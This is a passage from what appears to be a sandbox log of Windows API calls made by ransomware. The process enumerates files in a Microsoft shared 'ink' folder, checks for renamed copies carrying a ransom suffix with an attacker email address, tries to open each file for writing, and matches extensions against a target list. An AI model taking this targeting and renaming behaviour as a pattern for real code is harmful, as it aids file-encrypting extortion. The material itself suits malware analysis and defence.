(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.012] lstrlenW (lpString=".doc") returned 4 [0176.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString=".docx") returned 5 [0176.012] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.012] lstrlenW (lpString=".pdf") returned 4 [0176.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString=".xls") returned 4 [0176.012] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString=".xlsx") returned 5 [0176.012] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.012] lstrlenW (lpString=".ppt") returned 4 [0176.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.012] lstrlenW (lpString=".zip") returned 4 [0176.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.012] lstrlenW (lpString=".rar") returned 4 [0176.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString=".bz2") returned 4 [0176.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString=".7z") returned 3 [0176.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.012] lstrlenW (lpString=".dbf") returned 4 [0176.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".1cd") returned 4 [0176.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".jpg") returned 4 [0176.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".doc") returned 4 [0176.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString=".docx") returned 5 [0176.013] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.013] lstrlenW (lpString=".pdf") returned 4 [0176.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString=".xls") returned 4 [0176.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString=".xlsx") returned 5 [0176.013] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.013] lstrlenW (lpString=".ppt") returned 4 [0176.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".zip") returned 4 [0176.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.013] lstrlenW (lpString=".rar") returned 4 [0176.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString=".bz2") returned 4 [0176.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString=".7z") returned 3 [0176.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".dbf") returned 4 [0176.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.013] lstrlenW (lpString=".1cd") returned 4 [0176.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0176.014] lstrlenW (lpString=".jpg") returned 4 [0176.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.014] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0176.014] lstrlenW (lpString="boxed-correct.avi") returned 17 [0176.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.015] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=111320) returned 1 [0176.015] CloseHandle (hObject=0x38c) returned 1 [0176.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0176.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString=".doc") returned 4 [0176.016] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".docx") returned 5 [0176.016] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0176.016] lstrlenW (lpString=".pdf") returned 4 [0176.016] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".xls") returned 4 [0176.016] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".xlsx") returned 5 [0176.016] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0176.016] lstrlenW (lpString=".ppt") returned 4 [0176.016] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString=".zip") returned 4 [0176.016] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".rar") returned 4 [0176.016] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".bz2") returned 4 [0176.016] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString=".7z") returned 3 [0176.016] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString=".dbf") returned 4 [0176.016] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString=".1cd") returned 4 [0176.016] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.016] lstrlenW (lpString=".jpg") returned 4 [0176.017] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString=".doc") returned 4 [0176.017] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".docx") returned 5 [0176.017] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0176.017] lstrlenW (lpString=".pdf") returned 4 [0176.017] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".xls") returned 4 [0176.017] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".xlsx") returned 5 [0176.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0176.017] lstrlenW (lpString=".ppt") returned 4 [0176.017] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString=".zip") returned 4 [0176.017] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".rar") returned 4 [0176.017] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".bz2") returned 4 [0176.017] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString=".7z") returned 3 [0176.017] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString=".dbf") returned 4 [0176.017] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString=".1cd") returned 4 [0176.017] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0176.017] lstrlenW (lpString=".jpg") returned 4 [0176.018] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.018] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0176.018] lstrlenW (lpString="boxed-delete.avi") returned 16 [0176.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.018] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=48936) returned 1 [0176.018] CloseHandle (hObject=0x38c) returned 1 [0176.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0176.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString=".doc") returned 4 [0176.019] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".docx") returned 5 [0176.019] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0176.019] lstrlenW (lpString=".pdf") returned 4 [0176.019] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".xls") returned 4 [0176.019] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".xlsx") returned 5 [0176.019] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0176.019] lstrlenW (lpString=".ppt") returned 4 [0176.019] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString=".zip") returned 4 [0176.019] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".rar") returned 4 [0176.019] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".bz2") returned 4 [0176.019] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString=".7z") returned 3 [0176.019] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString=".dbf") returned 4 [0176.019] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString=".1cd") returned 4 [0176.019] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString=".jpg") returned 4 [0176.019] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.020] lstrlenW (lpString=".doc") returned 4 [0176.020] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".docx") returned 5 [0176.020] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0176.020] lstrlenW (lpString=".pdf") returned 4 [0176.020] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".xls") returned 4 [0176.020] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".xlsx") returned 5 [0176.020] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0176.020] lstrlenW (lpString=".ppt") returned 4 [0176.020] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.020] lstrlenW (lpString=".zip") returned 4 [0176.020] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".rar") returned 4 [0176.020] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".bz2") returned 4 [0176.020] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString=".7z") returned 3 [0176.020] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.020] lstrlenW (lpString=".dbf") returned 4 [0176.020] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.020] lstrlenW (lpString=".1cd") returned 4 [0176.020] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0176.020] lstrlenW (lpString=".jpg") returned 4 [0176.020] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.021] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0176.021] lstrlenW (lpString="boxed-join.avi") returned 14 [0176.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.021] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=46622) returned 1 [0176.021] CloseHandle (hObject=0x38c) returned 1 [0176.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0176.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.022] lstrlenW (lpString=".doc") returned 4 [0176.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".docx") returned 5 [0176.022] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0176.022] lstrlenW (lpString=".pdf") returned 4 [0176.022] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".xls") returned 4 [0176.022] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".xlsx") returned 5 [0176.022] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0176.022] lstrlenW (lpString=".ppt") returned 4 [0176.022] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.022] lstrlenW (lpString=".zip") returned 4 [0176.022] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".rar") returned 4 [0176.022] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".bz2") returned 4 [0176.022] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.022] lstrlenW (lpString=".7z") returned 3 [0176.022] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.022] lstrlenW (lpString=".dbf") returned 4 [0176.022] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString=".1cd") returned 4 [0176.023] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString=".jpg") returned 4 [0176.023] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString=".doc") returned 4 [0176.023] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".docx") returned 5 [0176.023] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0176.023] lstrlenW (lpString=".pdf") returned 4 [0176.023] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".xls") returned 4 [0176.023] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".xlsx") returned 5 [0176.023] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0176.023] lstrlenW (lpString=".ppt") returned 4 [0176.023] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString=".zip") returned 4 [0176.023] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".rar") returned 4 [0176.023] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".bz2") returned 4 [0176.023] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.023] lstrlenW (lpString=".7z") returned 3 [0176.023] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.023] lstrlenW (lpString=".dbf") returned 4 [0176.023] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.024] lstrlenW (lpString=".1cd") returned 4 [0176.024] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0176.024] lstrlenW (lpString=".jpg") returned 4 [0176.024] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.024] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0176.024] lstrlenW (lpString="boxed-split.avi") returned 15 [0176.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.024] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=84190) returned 1 [0176.024] CloseHandle (hObject=0x38c) returned 1 [0176.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0176.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString=".doc") returned 4 [0176.025] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".docx") returned 5 [0176.025] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0176.025] lstrlenW (lpString=".pdf") returned 4 [0176.025] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".xls") returned 4 [0176.025] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".xlsx") returned 5 [0176.025] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0176.025] lstrlenW (lpString=".ppt") returned 4 [0176.025] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString=".zip") returned 4 [0176.025] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".rar") returned 4 [0176.025] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".bz2") returned 4 [0176.025] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString=".7z") returned 3 [0176.025] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString=".dbf") returned 4 [0176.025] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString=".1cd") returned 4 [0176.025] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.025] lstrlenW (lpString=".jpg") returned 4 [0176.025] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString=".doc") returned 4 [0176.026] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString=".docx") returned 5 [0176.026] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0176.026] lstrlenW (lpString=".pdf") returned 4 [0176.026] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.026] lstrlenW 